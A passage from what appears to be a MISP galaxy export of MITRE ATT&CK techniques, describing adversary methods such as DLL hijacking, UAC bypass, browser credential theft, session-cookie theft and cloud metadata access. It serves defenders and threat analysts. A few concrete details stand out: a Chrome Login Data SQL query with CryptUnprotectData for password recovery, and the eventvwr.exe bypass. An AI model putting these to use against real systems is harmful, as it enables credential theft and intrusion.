The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

## File and Directory Discovery - T1420

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"*

<https://attack.mitre.org/techniques/T1420>

## Data from Removable Media - T1025

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) may be used to gather information.

Some adversaries may also use [Automated Collection](<https://attack.mitre.org/techniques/T1119>) on removable media.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"*

*Table 2330. Table References*

Links

<https://attack.mitre.org/techniques/T1025>

## Exfiltration Over Physical Medium - T1052

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB

drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"*

Table 2331. Table References

<a href="https://attack.mitre.org/techniques/T1052">https://attack.mitre.org/techniques/T1052</a>

## Data from Configuration Repository - T1602

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

## Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](<https://attack.mitre.org/techniques/T1140>) for [User Execution](<https://attack.mitre.org/techniques/T1204>). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

## Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](<https://attack.mitre.org/techniques/T1091>). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

## Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default>Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

## File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](<https://attack.mitre.org/techniques/T1083>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include `dir`, `tree`, `ls`, `find`, and `locate`. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](<https://attack.mitre.org/techniques/T1106>).

## DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current

working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

## File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may

replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

## Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1088>). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

## Exfiltration Over Alternative Protocol - T1048

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

[Exfiltration Over Alternative Protocol](<https://attack.mitre.org/techniques/T1048>) can be done using various common operating system utilities such as [Net](<https://attack.mitre.org/software/S0039>)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)

## System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)

Utilities and commands that acquire this information include [netstat](<https://attack.mitre.org/software/S0104>), "net use," and "net session" with [Net](<https://attack.mitre.org/software/S0039>). In Mac and Linux, [netstat](<https://attack.mitre.org/software/S0104>) and `lsof` can be used to list current connections. `who -a` and `w` can be used to show which users are currently logged in, similar to "net session".

## Use Alternate Authentication Material - T1550

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](<https://attack.mitre.org/tactics/TA0006>) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

## Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, `sc.exe`, [PowerShell](<https://attack.mitre.org/techniques/T1086>), or [Reg](<https://attack.mitre.org/software/S0075>). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `FailureCommand`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: TrustedSignal Service Failure) (Citation: Twitter Service Recovery Nov 2017)

## Command and Scripting Interpreter - T1059

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](<https://attack.mitre.org/techniques/T1059/004>) while Windows installations include the [Windows Command Shell](<https://attack.mitre.org/techniques/T1059/003>) and [PowerShell](<https://attack.mitre.org/techniques/T1059/001>).

There are also cross-platform interpreters such as [Python](<https://attack.mitre.org/techniques/T1059/006>), as well as those commonly associated with client applications such as [JavaScript/JScript](<https://attack.mitre.org/techniques/T1059/007>) and [Visual Basic](<https://attack.mitre.org/techniques/T1059/005>).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](<https://attack.mitre.org/tactics/TA0001>) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive

terminals/shells.

## Gather Victim Network Information - T1590

Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](<https://attack.mitre.org/techniques/T1045>) or otherwise

modify the file so it has a different signature, and then re-use the malware.

## Exploitation for Privilege Escalation - T1068

Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"*

Table 2352. Table References

## Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

## Exploitation for Defense Evasion - T1211

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](<https://attack.mitre.org/techniques/T1518/001>). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

## Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

## Exploitation for Credential Access - T1212

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

## Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.

Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

## Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](<https://attack.mitre.org/techniques/T1213/002>), [Confluence](<https://attack.mitre.org/techniques/T1213/001>), and enterprise databases such as SQL Server.

## Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](<https://attack.mitre.org/techniques/T1014>) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `kextload` and `kextunload` commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

## Network Share Connection Removal - T1126

Windows shared drive and [Windows Admin Shares](<https://attack.mitre.org/techniques/T1077>) connections can be removed when no longer needed. [Net](<https://attack.mitre.org/software/S0039>) is an example utility that can be used to remove network share connections with the `net use \\system\share /delete` command. (Citation: Technet Net Use)

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

## Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](<https://attack.mitre.org/techniques/T1036>) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

## Data Encrypted for Impact - T1471

An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.

## Man in the Browser - T1185

Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)

## Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls -a` for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

### Windows

Users can mark specific files as hidden by using the `attrib.exe` binary. Simply do `attrib +h filename` to mark a file or folder as hidden. Similarly, the "+s" marks a file as a system file and the "+r" flag marks the file as read only. Like most windows binaries, the `attrib.exe` binary provides the ability to apply these changes recursively "/S".

### Linux/Mac

Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: `defaults write com.apple.finder AppleShowAllFiles YES`, and then relaunch the Finder Application.

### Mac

Files on macOS can be marked with the `UF_HIDDEN` flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a `.ssh` folder that's hidden and contains the user's known hosts and keys.

## Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at `http[:]//169.254.169.254`.

## Steal Application Access Token - T1528

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](<https://attack.mitre.org/techniques/T1192>) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](<https://attack.mitre.org/techniques/T1527>).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"*

## Gather Victim Host Information - T1592

Before compromising a victim, adversaries may gather information about the victim’s hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>) or [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

<a href="https://attack.mitre.org/techniques/T1355">https://attack.mitre.org/techniques/T1355</a>

## Remote Service Session Hijacking - T1563

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](<https://attack.mitre.org/techniques/T1563>) differs from use of [Remote Services](<https://attack.mitre.org/techniques/T1021>) because it hijacks an existing session rather than creating a new session using [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). (Citation: RDP Hijacking Medium) (Citation: Breach Post-mortem SSH Hijack)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563"*

## Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. (Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system. (Citation: Kaspersky TajMahal April 2019) (Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in

phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

